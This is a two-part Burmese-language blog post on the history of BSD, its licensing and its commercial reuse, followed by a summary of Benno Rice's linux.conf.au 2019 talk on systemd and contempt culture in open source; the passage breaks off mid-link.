Linux အကြောင်းတွေ ရေးတာများလာလို့ အခြား open source အကြောင်းလေးတွေ ရေးမယ်ဆိုပြီး စိတ်ကူးတာတော့ ကြာပါပြီ။ BSD ကနေတဆင့် ပေါက်ဖွားလာတဲ့ အချို့အချို့သော project လေးတွေကလည်း လက်ရှိအချိန်ထိ နည်းပညာနယ်ပယ်ထဲမှာ တွင်တွင်ကျယ်ကျယ် အသုံးတည့်လို့နေတုန်းပါ။ စာရေးသူကိုယ်တိုင် လက်ရှိမှာ BSD က tools လေးတွေအချို့ကို နေ့စဉ်အသုံးပြုနေရလို့ stable ဖြစ်မဖြစ်ဆိုတာကို ပိုပြီးတော့သိလို့လာပါတယ်။ ဒီလိုနဲ့ ဒီ post ကိုရေးဖို့ စပြီးတော့ စဉ်းစားမိခဲ့တာပဲဖြစ်ပါတယ်။ တချိန်တည်းမှာပဲ… BSD ဆိုတဲ့ အကြောင်းအရာချရေးဖို့က စာရေးသူအတွက် တော်တော်လေးလည်း တာဝန်ကြီးပါတယ်။ လိုအပ်တဲ့ အချက်အလက်နဲ့ ဖြစ်စဉ်တွေ မပြည့်စုံမှာကိုလည်း အနည်းငယ်စိတ်ပူမိပါတယ်။ BSD အကြောင်းလေးလည်း ပြောရင်း Linux နဲ့ဘယ်လိုခြားနားသွားသလဲဆိုတာကိုလည်း နှုိင်းယှဉ်ရအောင်လို့ပါ။ ကဲ… BSD ကို အကျဉ်းချုပ် မိတ်ဆက်ပေးလိုက်ရအောင်…

### BSD ဆိုသည်မှာ

BSD ဆိုတာကတော့ Berkeley Software Distribution ကိုအတိုခေါက်ပြီးခေါ်ဆိုထားတာပါ။ Berkeley ဆိုတာက University of California, Berkeley မှာ ၁၉၇၇ခုနှစ်တုန်းက အစပျိုးခဲ့တာကြောင့်ပါ။ မူလကတော့ AT\&T သို့မဟုတ် Bell Labs ကစတင်ခဲ့တဲ့ Unix ကို ချဲ့ထွင်ပြီးတော့ open source ဆိုတဲ့ခေါင်းစဉ်အောက်မှာ university က research လုပ်တဲ့အခါ အသုံးပြုနိုင်အောင်လို့ ကြိုးပမ်းအားထုတ်ခဲ့ကြတာပါ။ အဲ့ဒါကြောင့် Research Unix ရယ်လို့လည်း အစောပိုင်းမှာတုန်းက ခေါ်ဆိုခဲ့ကြပါတယ်။ တဖြေးဖြေးနဲ့ Berkeley Unix လို့လည်း ခေါ်ပါတယ်။ Berkeley မှာအသုံးပြုတဲ့ Unix ပေါ့လေ။ BSD Unix လို့လည်း တချို့က ခေါ်ကြပြန်ပါတယ်။ နာမည်တွေအများကြီးရှိသော်လည်း BSD လို့ဆိုလိုက်ရင် အကုန်လုံးကို ခြုံငုံမိမယ်လို့ထင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-7c0981910424420988f0d7c0a57f9944e434f699%2F1969UNIX.jpg?alt=media" alt=""><figcaption></figcaption></figure>

BSD အစပြုပုံက ၁၉၇၄ ခုနှစ်ထဲမှာ Bob Fabry ဆိုတဲ့ computer science professor က Unix ရဲ့ distribution အချို့ကို Bell Labs ကနေ မှာယူလိုက်ပါတယ်။ အဓိက ကတော့ သူတို့ university lab ထဲမှာအသုံးပြုနေတဲ့ PDP-11/45 minicomputer ပေါ်မှာတင်ပြီးတော့ သုံးလို့ရအောင်လို့ ရည်ရွယ်တာပါ။ PDP-11/45 minicomputer လို့ဆိုသော်လည်း အရွယ်အစားအရတော့ လက်ရှိ စာရေးသူတို့ အသုံးပြုနေတဲ့ personal computer (PC) ဆိုတာထက် အစပေါင်းများစွာကြီးပါတယ်။ ၁၉၇၀ ခုနှစ်တွေထဲ မှာတော့ Digital Equipment Corporation (DEC) ကထုတ်တဲ့ PDP-11 ဟာ computer science သမားတွေအတွက် အကောင်းဆုံး အစွမ်းဆောင်နိုင်ဆုံးသော computing powerhouse တစ်ခုပါ။ တန်ဖိုးကလည်း များလွန်းလို့ Berkeley လိုနေရာမျိုးမှာတောင် စက်ကတစ်လုံးတည်းရှိပြီးတော့ သူတို့ computer science faculty က အခြားသော faulty တွေဖြစ်တဲ့ mathematics နဲ့ statistics သမားတွေနဲ့ မျှပြီးတော့သုံးရပါတယ်။ တစ်နေ့ကို computer science ရဲ့ ဝေစု ၈နာရီ ကို မနက် သို့မဟုတ် ညပိုင်း အားရင်အားသလို အလှည့်ကျအသုံးပြုရပါတယ်။ အဲ့လိုနဲ့ တစ်နှစ်ကြာတဲ့အချိန်မှာ Bell Labs က Ken Thompson ဆိုတဲ့ ပုဂ္ဂိုလ်က Berkeley မှာ အချိန်ပိုင်း professor လာလုပ်တုန်း Version 6 Unix ကို lab computer ပေါ်တင်ပေးခဲ့ပါတယ်။ ပြီးတော့ Pascal ဆိုတဲ့ programming language တစ်ခုကို အစပျိုးဖြစ်ခဲ့ပါတယ်။ နောက်ပိုင်းမှာတော့ အဲ့ဒီ university ကျောင်းကနေ ကျောင်းပြီးထားတဲ့ ကျောင်းသားဟောင်း Chuck Haley နဲ့ Bill Joy တို့ဟာ Pascal ကိုပိုကောင်းအောင် ပြင်ဆင်ပြီးတော့မှ ex (EXtended) ဆိုတဲ့ text editor တစ်ခုကို အဲ့ဒီ Pascal platform နဲ့ပဲ ရေးခဲ့ကြပါတယ်။ GNU/Linux မှာ GNU Emacs text editor ကနေစလိုက်သလိုမျိုးပဲ BSD မှာလည်း ex text editor ကနေ အစပျိုးခဲ့လို့ ဒီနေရာမှာ မှတ်သားစရာ တစ်ခုက BSD တို့ GNU/Linux တို့လို operating system တစ်ခုလုံးဖြစ်ဖို့အတွက် text editor လို project သေးသေးလေးတွေ မျိုးစေ့ချဖို့အတွက် မရှိမဖြစ်လိုအပ်တယ် ဆိုတာပါပဲ။ ex text editor နည်းတူ အခြားသော software တွေကို တခြား university တွေကလည်း စိတ်ဝင်စားလို့ Bill Joy က တစုတစည်းတည်းဖြစ်အောင်လို့ ပထမဆုံး BSD ဖြစ်တဲ့ 1BSD ကို အားလုံးအတွက် ၁၉၇၈ ခုနှစ်မှာ ထုတ်ဝေလိုက်ပါတယ်။ အဲ့ဒီတုန်းက Version 6 Unix မှာ အသုံးပြုလို့ရတဲ့ add-on software တွေအနေနဲ့တာထုတ်ဝေခဲ့တာဖြစ်ပြီး၊ operating system တစ်ခုဖြစ်ဖို့ရာ အတွက်တော့ အများကြီး လိုပါသေးတယ်။ 4.3BSD ထိတိုင်အောင် proprietary ဖြစ်တဲ့ AT\&T Unix code နဲ့ သူ့ရဲ့ software license အောက်မှာပဲ BSD ဟာထုတ်ဝေခဲ့တာပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-488d115ed569a962622c750e490a0d38118b937e%2FPDP-11.jpg?alt=media" alt=""><figcaption></figcaption></figure>

AT\&T ရဲ့ license အောက်ကနေထွက်ဖို့အတွက် ၁၉၈၉ခုနှစ်မှာ ကိုယ်ပိုင် source code နဲ့ BSD license ဆိုပြီးတော့ open source license တခုကို စတင်ပြုစုပျိုးထောင် လိုက်ကြပါတော့တယ်။ ဒါကတော့ BSD ရဲ့ ခရီးစဉ် အစပိုင်းဖြစ်ပြီးတော့ အဲ့ဒီနောက်ပိုင်းမှာတော့ Unix System Laboratories (USL) က licensing နဲ့ ပတ်သတ်တဲ့ lawsuit နဲ့တရားစွဲလို့ တရားစီရင်ရေး ခရီးကြမ်းကို ၂နှစ် ၃နှစ် လောက်ကြာအောင် ဆက်လှမ်းရပါတယ်။ တရားစွဲထားတဲ့ ကိစ္စတွေ ၁၉၉၄ ခုနှစ်အစပိုင်းလောက်မှာ အဆုံးသတ်နိုင်ခဲ့ပြီးတော့၊ နှစ်အလယ်လောက်မှာတော့ 4.4BSD ဆိုပြီးနောက်ဆုံးသော release နှစ်ခုကိုထက်ထုတ်လိုက်ပါသေးတယ်။ BSD က 4.4BSD-Lite Release 2 မှာတင်အဆုံးသတ်သွားပါတယ်။ 4.4BSD မှာ version နှစ်မျိုးနဲ့ထွက်လာခဲ့ပါတယ်။ တစ်ခုကို 4.4BSD-Lite လို့ခေါ်ပြီး၊ နောက်တစ်ခုကတော့ 4.4BSD-Encumbered ဆိုပြီးတော့ပဲဖြစ်ပါတယ်။ အမှုတွေနဲ့ရင်ဆိုင်လိုက်ရလို့ 4.4BSD-Lite မှာ AT\&T က code တွေမပါအောင် ပြန်လုပ်ထားရပါတယ်။ နောက် တစ်ခုဖြစ်တဲ့ 4.4BSD-Encumbered ကတော့ AT\&T license အောက်မှာထုတ်ခဲ့တာဖြစ်ပါတယ်။ 4.4BSD-Lite Release 2 ပြီးတော့ ထက်မထွက်လာတဲ့ အတွက် community ထဲကလူတွေ BSD-Lite ရဲ့ code-base ပေါ်မှာအခြေခံပြီးတော့ အဆင့်ဆင့်ပွားထုတ်လိုက်တာဖြင့် FreeBSD၊ NetBSD၊ OpenBSD နဲ့ DragonFly BSD တို့ဆိုပြီးတော့ ထွက်ပေါ်လာကြပါတယ်။ Linux ရဲ့ distro တွေမှာလိုပဲ အခြားအခြားသော BSD ရဲ့ variants တွေရှိပါသေးတယ်။ Linux မှာလောက်တော့ အများကြီးမရှိပါဘူး။ FreeBSD တို့၊ OpenBSD တို့လောက်တော့ လူသိမများကြပါဘူး။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-0f0d70c0f96cb0bb43d7d8606113aef082a0eae6%2FFreeBSD-Foundation.png?alt=media" alt=""><figcaption></figcaption></figure>

အထက်မှာပြောသွားတဲ့ BSD ရဲ့ variants တွေအကုန်လုံးဟာ BSD license ကို အသုံးပြုထားတာဖြစ်တဲ့အပြင် permissive ဆိုတဲ့ အမျိုးအစား ထဲမှာပါလို့ source code ကို လွတ်လပ်စွာ အသုံးပြုခွင့်ပေးထားပါတယ်။ GNU GPL ထက်စာရင် BSD license က ပိုပြီးတော့တိုလည်းတိုတယ်၊ ရှင်းရှင်းနဲ့ လိုရင်း ဖြစ်အောင် စာကြောင်း ၃ ကြောင်းထဲထည့်ထားပါတယ်။ 3-Clause BSD License လို့ အင်္ဂလိပ်လို သိထားကြပါတယ်။ နောက်ပိုင်းမှာ အချိန်ရရင်ဖြင့် open source မှာ အခြားအသုံးပြု လို့ရတဲ့ license တွေအကြောင်းလည်း တစ်ခုခြင်းစီ ရေးသွားပါ့မယ်။ အခုတော့ BSD အကြောင်း ဆက်ပြီးတော့ ပြောပါ့မယ်။ BSD-Lite ရဲ့ source code ကို open source/ free ရတဲ့ variants တွေသာယူသုံးတာ မဟုတ်ပဲ၊ အဲ့ဒီအချိန်တုန်းထဲကစလို့ proprietary တွေဖြစ်တဲ့ Apple တို့၊ Microsoft တို့၊ Cisco တို့၊ Juniper တို့ ကလည်း BSD-Lite ရဲ့ code-base ကိုလိုသလောက် အသုံးချခဲ့ကျပါတယ်။ ဘယ်လောက်တောင်ဖြစ်သွားသလဲဆိုရင် Unix က စီးပွားဖြစ်ထုတ်တဲ့ Solaris လို operating system မျိုးမှာတောင်မှ BSD ရဲ့ code တွေယူသုံးလားတာတွေခဲ့ရပါတယ်။ BSD အတွက်တော့ ထိုထိုသော proprietary company ကြီးတွေက အပြန်အလှန်သဘောနဲ့ ထိရောက်ရဲ့ contribution မျိုး ပြန်လည်ပေးဆက်ခဲ့တာမရှိပါဘူး။ ဒီနေရာမှာ စာရေးသူတို့ လေ့လာသင်ယူရမည့် သင်ခန်းစာကတော့ open ဖြစ်သော်လည်း control မရှိတဲ့ license မျိုးကို proprietary တွေအခုလိုမျိုး အနိုင်ကျင့်တတ်ပါတယ်။ ဒါကြောင့်လည်း Richard Stallman (RMS) က source code ကိုယူသုံးပြီးရင် လိုက်နာရမည့် ဘောင်လေးတွေကို သူ့ရဲ့ GNU GPL မှာထည့်သွင်းလာခဲ့တာပဲဖြစ်ပါတယ်။ open source သမားတွေစိတ်နာမယ်ဆိုလည်း စိတ်နာချင်စရာကြီးပါ။ ထိုထိုသောအကြောင်းတွေကြောင့်လည်း စာရေးသူတို့ အခုမြင်နေရတဲ့ Microsoft Loves Linux ဆိုတာကြီးက မိအေးနှစ်ခါနာများ ဖြစ်နေမလာဆိုပြီးတော့ စိတ်ပူနေရပါတယ်။ သို့သော် လက်ရှိမှာတော့ Microsoft ဟာ Linux community အတွက် major contributor အနေနဲ့ ရပ်တည်နေပါတယ်။ Linux ဘက်ကလည်း Canonical လို company ကြီးတွေက Microsoft ရဲ့ subsystem ဖြစ်တဲ့ WSL အတ္ွက် သူ့ရဲ့ distro အခွဲတစ်ခုပမာ active project တွေ အများကြီးလုပ်ပေးနေပါတယ်။ အလုပ်အတွက် Windows ကိုမရှိမဖြစ်အသုံးပြုနေရသေးတဲ့ developer တွေနဲ့ DevOps သမားတွေအတွက် WSL ကထွက်ပေါက်တစ်ခုပါ။ WSL မှာလည်း အများကြီးတိုးတက်စရာတွေ ကျန်နေသေးတယ်လို့ စာရေးသူထင်မိပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-0b2554b96813b54795cbb300a0b6bc9a3ebacad5%2Frichard-stallman-on-microsofts-love-for-linux-and-WSL.jpg?alt=media" alt=""><figcaption></figcaption></figure>

BSD အကြောင်းနဲ့ open source သင်ခန်းစာလေးတွေ အကြောင်းကို ဒုတိယပိုင်းမှာ ဆက်ပြီးတော့ ရေးသွားချင်ပါတယ်။ Topic ကနည်းနည်းလေး အရေးပါလို့ post တစ်ခုထဲနဲ့ မလုံလောက်မှာကိုလည်း ဂရုစိုက်ရပါတယ်။ စာအရမ်းကြီးရှည် သွားရင်လည်း ဖတ်ရတာ ပျင်းသွားမှာစိုးပါတယ်။ အဲ့ဒီတော့ ဒီ post ကို ဒီမှာတင်ပဲရပ်လိုက်ပါတော့မယ်။


# Open source သင်ခန်းစာများ အပိုင်း(၂)

အရှေ့တပိုင်းမှာတော့ BSD ရဲ့ စတင်ပုံနဲ့ အဆင့်ဆင့် ဆင်းသက်လာရာကနေ FreeBSD တို့၊ OpenBSD တို့ ဖြစ်လာတဲ့ အကြောင်းတွေ ဆွေးနွေးခဲ့ ပါတယ်။ BSD အကြောင်းကို စရေးတုန်းကတော့ post တစ်ခုတည်းနဲ့ ဖြတ်မယ်လို့ စဉ်းစားမိခဲ့သော်လည်း တကယ်တန်းရေးချကြည့်တဲ့ အခါကြတော့မှ post တခုတည်းနဲ့ မလုံလောက်ဘူး၊ မပြည့်စုံဘူးလို့ အထင်ရှိတာကြောင့် အပိုင်းလေးတွေ ခွဲပြီးတော့ ရေးဖြစ်ပါတော့တယ်။ ဒီအပိုင်းမှာတော့ စာရေးသူ ဒီနှစ် အစပိုင်း Christchurch, New Zealand မှာပြုလုပ်သွားတဲ့ linux.conf.au 2019 ရဲ့ speaker၊ Benno Rice ဆွေးနွေးတင်ပြခဲ့တဲ့ The Tragedy of systemd ဆိုတာနဲ့ စတင်ချင်ပါတယ်။ မြန်မာလို ပြန်လိုက်ရင်တော့ systemd ရဲ့ ကြေကွဲဇာတ်လမ်းပေါ့။ Benno Rice က သူဘာဖြစ်လို့ အဲ့ဒီ နာမည်ရွေးရသလဲဆိုတာကို အခုလိုရှင်းပြပါတယ်။ ပထမဆုံးသူက Tragedy ဆိုတဲ့ဟာ အဓိပ္ပာယ်ဖွင့်ပါတယ်။ Tragedy ဆိုတာကတော့တဲ့ လူတွေကို လွမ်းဆွေးကြေကွဲမူ ခံစားချက် အနုပညာ တရပ်ရယ်လို့ အကြမ်းဖျင်း အဓိပ္ပာယ်ထွက်တယ်တဲ့။ သူကတော့ ဖျော်ဖြေရေး အနုပညာ တစ်ရပ်အနေနဲ့ သူပြောသွားမယ့် topic မှာ နားထောင်နေတဲ့သူတွေအတွက် စိတ်ကျေနပ်မူမျိုး ပေးစေနိုင်မယ်လို့ မျှော်လင့်ကြောင်း အစပြုလိုက်ပါတယ်။ နောက်ပြီးတော့ Aurynn Shaw ရေးတဲ့ Contempt Culture ဆိုတဲ့ blog post လေးကိုလည်း ဖတ်ဖြစ်အောင်လို့ ညွန်းပြန်ပါတယ်။ စာရေးသူလည်း link ကိုရှာပြီးဖတ်ကြည့်တော့ အဲ့ဒီ blog post မှာရေးထားတဲ့ အကြောင်းတွေကလည်း စိတ်ဝင်စားစရာ တွေအများကြီး ပါတာကိုတွေ့ရပြန်ပါတယ်။ Contempt Culture ဆိုတဲ့ အဓိပ္ပာယ် ဆိုတာကတော့ အထင်သေး အမြင်သေးတာ နိမ်တာ ဆိုပြီးတော့ အလွယ် ပြန်လို့ရပါတယ်။ Benno Rice က contempt culture ဟာ coding/coder တွေ ကိုယ်သုံးတဲ့ ကိုယ်သိတဲ့ programming language ကပဲကောင်းတယ်၊ အဲ့ဒါမှမဟုတ်ရင် မကောင်းဘူးဆိုတာကြီးကို အဓိကထားပြောသွားသော်လည်း အဲ့ဒီ culture က အခြားနေရာတော်တော်များမှာ လည်းပဲ ခပ်ဆင်ဆင်သွားတူနေတဲ့ အကြောင်းကိုရှင်းပြပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-781106ab719d2701b0421d345dab1d2248090c7c%2Flinuxconf-1024x538.jpg?alt=media" alt=""><figcaption></figcaption></figure>

နောက်တစ်ခုက အပြောင်းအလဲ၊ Change ဆိုတဲ့ အကြောင်းကို ဆက်ပြီးတော့ ဆွေးနွေးပါတယ်။ အကြောင်းအရာကတော့ အပြောင်းအလဲဆိုတာ အရေးကြီးတယ်တဲ့၊ stable ဖြစ်လို့ မပြောင်းလဲရင်လည်း အနောက်မှာ ကျန်ခဲ့နိုင်သလို၊ ပြောင်းလဲတယ်ဆိုတာမျိုး တောက်လျှောက်ရှိနေပြန်ဖို့လည်း မကောင်းဘူးတဲ့။ လူပြတ်တွေနောက်သလို တရွာမပြောင်း သူကောင်းမဖြစ်ဆိုသော်လည်း၊ သေချင်တဲ့ ကျားကလည်း တောပြောင်းတတ်ပြန်သတဲ့။ ပြောချင်တာကတော့ အလယ်အလတ်သဘောမျိုးတာ သင့်တော်တယ်ဆိုတဲ့ အဓိပ္ပာယ်ပါ။ သူပြောသွားတဲ့ အထဲမှာ developer တွေဟာတဲ့ Change အပြောင်းအလဲနဲ့ ပတ်သတ်ပြီးတော့ ထူးဆန်းတဲ့ ပတ်သတ်မူမျိုးတွေရှိတယ်တဲ့၊ အပြောင်းအလဲဆိုရင် ကိုယ်ကစတဲ့ ကိစ္စမျိုးကတာကောင်းတယ်လို့ လက်ခံထားပြီးတော့၊ အခြားလူတွေကနေ အဲ့ဒီ အပြောင်းအလဲကို စတင်လိုက်ရင်တော့ စိတ်မချတတ်ကြဘူး untrustworthy ဖြစ်တယ်လို့ ဆိုပါတယ်။ အထူးသဖြင့် Linux distro တွေထဲမှာလည်း stable ဖြစ်လွန်းလို့ kernel တောင်လိုအပ်မှ update ပေးတတ်တဲ့distro တွေရှိသလို၊ တစ်ခုခုဆို အသစ်မို့ထည့်လိုက်မယ် ပြောင်းလိုက်မယ်ဆိုတဲ့ bleeding edge distro တွေလည်းရှိပါတယ်။ အဲ့ဒီနှစ်ခုကြားမှာ အစွန်းနှစ်ဘက်လုံး လွတ်တဲ့ distro တွေဟာ production environment တွေအတွက် အသင့်တော်ဆုံးဖြစ်လို့ ပိုပြီးတော့လည်း အောင်မြင်လာရပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-4222817631cba15f066b4761ba7fb7a56b8d3c1e%2Fchallenges-to-change-768x306.png?alt=media" alt=""><figcaption></figcaption></figure>

Benno Rice ဟာ အထက်ပါ အကြောင်းလေးတွေနဲ့ အစပြုပြီးတော့ Unix ဘက်ကိုခုန်ကူးပါတယ်။ အဲဒီက အစချီလို့ ပြောသွားလိုက်တာ SystemV အကြောင်း၊ systemd အကြောင်းနဲ့ သူကိုယ်တိုင် တိုက်ရိုက်ပတ်သတ်ခဲ့ရတဲ့ FreeBSD အကြောင်းတွေကို စိတ်ဝင်စားဖွယ် ဖွဲ့နွဲ့ပြီးတော့ ပြောပြသွားပြီးတဲ့နောက် contempt culture ဆိုတာမရှိသင့်ဘူးဆိုတာနဲ့ အဆုံးသတ်ပါတယ်။ YouTube မှာကြည့်ချင်ရင်တော့ ဒီ [Link](https://www.youtube.com/watch?v=o_AIw9bGogo\&t=135s) ကနေပြီးတော့ ကြည့်လို့ရပါတယ်။ Contempt Culture ကိုဖတ်ချင်ရင်တော့ ဒီ [Link](https://blog.aurynn.com/2015/12/16-contempt-culture) မှာဖတ်ကြည့်နိုင်ပါတယ်။ သူပြောသွားတဲ့ အထဲမှာ SystemV ကနေ systemd ကို ပြောင်းလာတဲ့ Linux distro အကြောင်းတွေနဲ့ FreeBSD ကအခုအချိန်ထိ systemd ကို လက်ခံပြီးတော့ အသုံးမပြုသေး မပြောင်းသေးတဲ့ အကြောင်းတွေကို ပြောသွားတာ စိတ်ဝင်စားစရာပါ။ အဓိကတော့ ပြောင်းလဲခြင်းဟာ သဘာဝဆိုတာကို FreeBSD က developer တွေကိုသူပြောပြချင်တာပါ။ ပြီးတော့ systemd ကိုရေးတဲ့ Lennart Poettering ကို SystemV နဲ့ FreeBSD သမားတွေ အမုန်းမပွားသင့်ဘူး… လိုအပ်ချက်တွေကို စုပေါင်းတိုင်ပင်ပြီးတော့ အရာအားလုံးကို အဖြေရှာသင့်တယ် ဆိုတာတွေကို ပြောဆိုဆွေးနွေး သွားပါတယ်။ ဒီမှာ စာရေးသူတို့ လေ့လာသင်ယူစရာ သင်ခန်းစာကတော့ open source ကမ္ဘာမှာလည်း အကွဲအပြဲတွေနဲ့ တစ်ယောက်ကို တစ်ယောက် မုန်းကြ လက်မခံနိုင်ကြဆိုတဲ့ လူလောက သဘာဝ တရားတွေရှိတာပါပဲ။ အသစ်တခု အပြောင်းအလဲတစ်ခုလုပ်ဖို့ဆိုတာက open source community ထဲမှာဘယ်လောက်တောင် ခက်သလဲဆိုတာကို အခုလို အတွင်းထဲကလူ တွေကိုယ်တိုင် မခံစားနိုင်လို့ အခုလို ထုတ်ဖော်ပြောစရာ ဖြစ်လာရတာပါ။ developer တွေ၊ open source contributor တွေလည်းလူတွေမို့ အခမဲ့ရတဲ့ software တွေအတွက်တောင် အတ္တဆိုတာနဲ့ မကင်းပါဘူး။

ကဲ… BSD ဇာတ်လမ်းလေးအရှေ့မှာဆက်ထားတာ ပြန်ပြီးတော့ သွားလိုက်ရအောင်… အရှေ့အပိုင်း မှာပြောခဲ့သလိုပဲ ၁၉၈၀ နှောင်းပိုင်း၊ ၁၉၉၀ အစောပိုင်းလောက်မှာ BSD က lawsuit တွေနဲ့ တရားရင်ဆိုင်နေရလို့ software development ပိုင်းမှာ အားနည်းခဲ့ရပါတယ်။ Lawsuit ကြောင့် ဘာဖြစ်မယ်မှန်း မသိတဲ့ BSD project မှာလည်း contribute လုပ်တဲ့ developer တွေဟာ မရေရာတဲ့ BSD အနာဂတ် အတွက်ကြောင့်မို့ ၂နှစ် ၃နှစ်လောက် ဒီအတိုင်းပဲ ရပ်ကြည့်နေလိုက်ရပါတယ်။ ထိုကြောင့် အဲ့ဒီအချိန်က ခြံထွက် ထုတ်ကုန်ဖြစ်တဲ့ Linux လို project ကို developer တွေ ပိုမိုအာရုံ စိုက်လာကြပါတယ်။ Linux Torvalds ကိုယ်တိုင်လည်း Linux kernel ရေးဖြစ်ရတဲ့ အကြောင်းအရင်းက အဲ့ဒီအချိန်က 386BSD ရော၊ GNU kernel ရောပါ သုံးလို့ ရတဲ့ အနေအထားမျိုး မရှိတဲ့အတွက် မိမိကိုယ်တိုင် အစကနေပြန်ပြီးတော့ Linux kernel ကိုရေးခဲ့တာလို့ဆိုပါတယ်။ အကယ်လို့များ အခြားသုံးလို့ ရတဲ့ kernel အသင့်ရှိနေပြီးသားဆိုရင်တော့ Linux kernel ကိုသူ ဘာမှရေးစရာအကြောင်းမရှိဘူးလို့လည်း Linus Torvalds ကပြောပါတယ်။ Linux ဟာ အရင်းရှင်ဆန်လွန်းတဲ့ proprietary system ထဲက မွေးထုတ်ပေးလိုက်တဲ့ အဆိုးထဲက အကောင်းဆုံးသော open source project တစ်ခုဖြစ်ပြီးတော့၊ အခုချိန်ထိ အသက်ရှိရုံသာမကပဲ proprietary ကတောင် မွေးစားထားချင်တဲ့ kernel တစ်ခုဖြစ်လို့နေပါပြီ။ ဒါ့အပြင် Linux ရဲ့ သက်တမ်း တလျှောက်မှာ လိုအပ်တဲ့ ပြင်ဆင်မူတွေနဲ့ အပြောင်းအလဲတွေကို လိုအပ်ရင်လိုအပ်သလို ပြုလုပ်လာခဲ့တာကြောင့် အခုလိုနေရာမျိုးမှာ ရပ်တည်နေနိုင်တာလို့ စာရေးသူ ထင်ပါတယ်။ ဒီနေရာမှာ စာရေးသူတို့ လေ့လာသင်ယူနိုင်တဲ့ သင်ခန်းစာ မည့်သို့သောကိစ္စမှာဖြစ်ဖြစ် ကိုယ့်ဘက်က ရေချောင်းလေးတစ်ခုပမာ စီးဆင်းသင့်ပါတယ်။ Bruce Lee ရဲ့နာမည်ကြီးတဲ့ be like water ဆိုတဲ့ စကားရပ်အတိုင်း နေရာ အနေအထားပေါ်မှာမူတည်ပြီးတော့ ပြောင်းလဲသင့်ပါတယ်။ Open source မှာလည်း Linux project ဟာ နည်းပညာလောကထဲ လိုအပ်သလို လိုက်လျှောညီထွေနေနိုင်ခဲ့တယ်ဆိုတော့ ငြင်းလို့မရနိုင်တာ အမှန်ပါပဲ။

### systemd ကိုလက်မခံသေးတဲ့ FreeBSD

၁၉၉၃ ခုနှစ်လောက်မှာတော့ NetBSD နဲ့ FreeBSD တို့ဟာ 386BSD နဲ့ 4.4BSD-Lite တွေကစတင်ဆင်းသက်လာခဲ့ပါတယ်။ Linux kernel ကိုမှ မသုံးရင် အဲ့ဒီအချိန်က သုံးစရာဆိုလို့လည်း open source ထဲမှာ BSD-Lite နဲ့ 386BSD တို့ပဲရှိတဲ့အတွက်၊ developer တွေထဲမှာ BSD က variants တွေမှာ အားသာတဲ့ အဖွဲ့လည်းရှိပါတယ္်။ ထို့ကြောင့် OpenBSD ဆိုပြီးတော့ ၁၉၉၅ခုနှစ်မှာ NetBSD ကနေထပ်ပြီးတော့ အခွဲတစ်ခုအနေနဲ့ ထက်ပြီးတော့ ထွက်လာပါတယ်။ တပြိုင်နက်မှာဆိုသလို Sun ကထုတ်တဲ့ SunOS နဲ့ Apple က macOS ဆိုပြီးတော့လည်း proprietary တွေကနေလည်း စီးပွားဖြစ်ပုံစံတွေလည်း အသီးသီးထ္ွက်လာခဲ့ကြပါတယ္်။ BSD ကနေခွဲထွက်လာတဲ့ variants တွေတော်တော်များများကတော့ အခမဲ့ download လုပ်လို့ရပြီးတော့၊ BSD License အောက်မှာ register လုပ်ကြပါတယ်။ proprietary တွေကတော့ သူတို့ OS တွေအတွက် copyright တွေလုပ်ကြပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-68d6b7249932dce58f7d6c702623dbfd4662d516%2FSystemd-components.png?alt=media" alt=""><figcaption></figcaption></figure>

Open source ကမ္ဘာမှာတော့ feature တစ်ခုကောင်းရင် အခြားသော variants တွေနဲ့ distro တွေ အဲ့ဒီကောင်းမွေတွေကို အကန့်အသတ် မရှိခံစား စံစားရပါတယ်။ ဥပမာတစ်ခုကို ပြောရရင် Apple ရဲ့ macOS ဟာ BSD ကနေဆင်းသက်လာပြီးတော့ သူရဲ့ OS မှာ အကောင်းစား feature တွေကို develop လုပ်ပြီးတော့ macOS မှာထည့်သွင်း အသုံးပြုပါတယ္်။ သို့သော် open source မဟုတ်တဲ့အတွက်၊ proprietary ဆိုတဲ့ထုံးစံ အတိုင်း မိမိအတွက်ပဲသုံးလို့ရအောင် copyright တွေလုပ်ချလိုက်ပါတယ္်။ ဆိုကြပါတော့ အထက်မှာပြောသွားတဲ့ linux.conf.au 2019 မှာ Benno Rice ပြောသွားတဲ့ systemd အကြောင်းထဲမှာ စိတ်ဝင်စားစရာ တစ်ခုက… systemd ကို ရေးတဲ့ Lennart Poettering ဟာ ပထမဆုံး Apple ရဲ့ launchd ကို ကပ်ကြွေရတဲ့သူပါတဲ့။ သို့သော် macOS က open source မဟုတ်တာက တစ်ကြောင်း၊ Apple ရဲ့ launchd ကို macOS မှာ implementation လုပ်ထားပုံကို သဘောမတွေ့တာ တစ်ကြောင်းမို့ launchd နဲ့ ခပ်ဆင်ဆင် systemd ကို Linux kernel မှာ စတင်ဖို့ကို Red Hat ကိုတင်ပြတော့ ဘယ်သူမှ လက်မခံခဲ့ပါဘူး။ သို့သော် Lennart Poettering ရဲ့ မလျှော့သော ဇွဲလုံ့လကြောင့် နောက်ဆုံး စမ်းသပ်ကြည့်ရာကနေ RHEL မှာ နေရာပေးခြင်းခံခဲ့ရပါတယ်။ အဲ့ဒီနောက်ပိုင်း ကျန်တဲ့ ဖြစ်ရပ်တွေကတော့ သမိုင်းဝင်ပါ။ [SysV 